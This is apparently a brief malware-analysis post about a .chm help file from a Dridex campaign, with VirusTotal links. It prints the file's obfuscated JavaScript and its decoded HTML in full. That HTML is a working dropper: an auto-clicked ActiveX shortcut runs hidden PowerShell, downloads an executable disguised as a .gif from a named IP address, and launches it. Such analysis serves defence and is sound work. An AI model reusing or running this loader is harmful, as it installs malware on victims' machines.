dridex 120 .chm file

interesting .chm from dridex 120 that @mesa_matt pointed out on twitter.

.chm file:
https://www.virustotal.com/en/file/60a9541efe55477708591ccd59e83ad0e16e4ec67eea28179e4f53b2a3be7ba8/analysis/

log story short : 148.251.87.253/aszxmy/image04.gif is an exe:
https://www.virustotal.com/en/file/5a3aba781908dbaa7a0e75f144d4c240ea61641782855b918b7258f2279a0281/analysis/

---------------------------------
в.htm  That isn't a B, its a Cyrilic figure (google translates to "in a")

<script language=JavaScript>m='%3Chtml%3E%0A%3Ctitle%3EIUGuiguyFG%26huiGVYUvgyuvYUFYUFudsf%3C/title%3E%0A%3Chead%3E%0A%3C/head%3E%0A%3Cbody%3E%0A%3Cobject%20id%3Dx%20classid%3D%22clsid%3Aadb880a6-d8ff-11cf-9377-00aa003b7a11%22%20width%3D22%20height%3D22%3E%0A%3Cparam%20name%3D%22Command%22%20value%3D%22ShortCut%22%3E%0A%3Cparam%20name%3D%22Button%22%20value%3D%22Bitmap%3A%3Ashortcut%22%3E%0A%3Cparam%20name%3D%22Item1%22%20value%3D%22%2Ccmd.exe%2C/c%20powershell.exe%20-ExecutionPolicy%20bypass%20-noprofile%20-WindowStyle%20Hidden%20%28New-Object%20System.Net.WebClient%29.DownloadFile%28%27http%3A//148.251.87.253/aszxmy/image04.gif%27%2C%27%25TEMP%25%5CJIOiodfhioIH.cab%27%29%3B%20expand%20%25TEMP%25%5CJIOiodfhioIH.cab%20%25TEMP%25%5CJIOiodfhioIH.exe%3B%20Start-Process%20%25TEMP%25%5CJIOiodfhioIH.exe%3B%22%3E%0A%3Cparam%20name%3D%22Item2%22%20value%3D%22273%2C1%2C1%22%3E%0A%3C/object%3E%0A%3Cscript%3E%0Ax.Click%28%29%3B%0A%3C/script%3E%0A%3Ch2%20align%3Dcenter%3Eytgy877tYGuyvuyFCYTDTYGhbijG%3C/h2%3E%0A%3C/body%3E%0A%3C/html%3E%0A';d=unescape(m);document.write(d);</script>

unescapes to :

<html>
<title>IUGuiguyFG&huiGVYUvgyuvYUFYUFudsf</title>
<head>
</head>
<body>
<object id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=22 height=22>
<param name="Command" value="ShortCut">
<param name="Button" value="Bitmap::shortcut">
<param name="Item1" value=",cmd.exe,/c powershell.exe -ExecutionPolicy bypass -noprofile -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://148.251.87.253/aszxmy/image04.gif','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; Start-Process %TEMP%\JIOiodfhioIH.exe;">
<param name="Item2" value="273,1,1">
</object>
<script>
x.Click();
</script>
<h2 align=center>ytgy877tYGuyvuyFCYTDTYGhbijG</h2>
</body>
</html>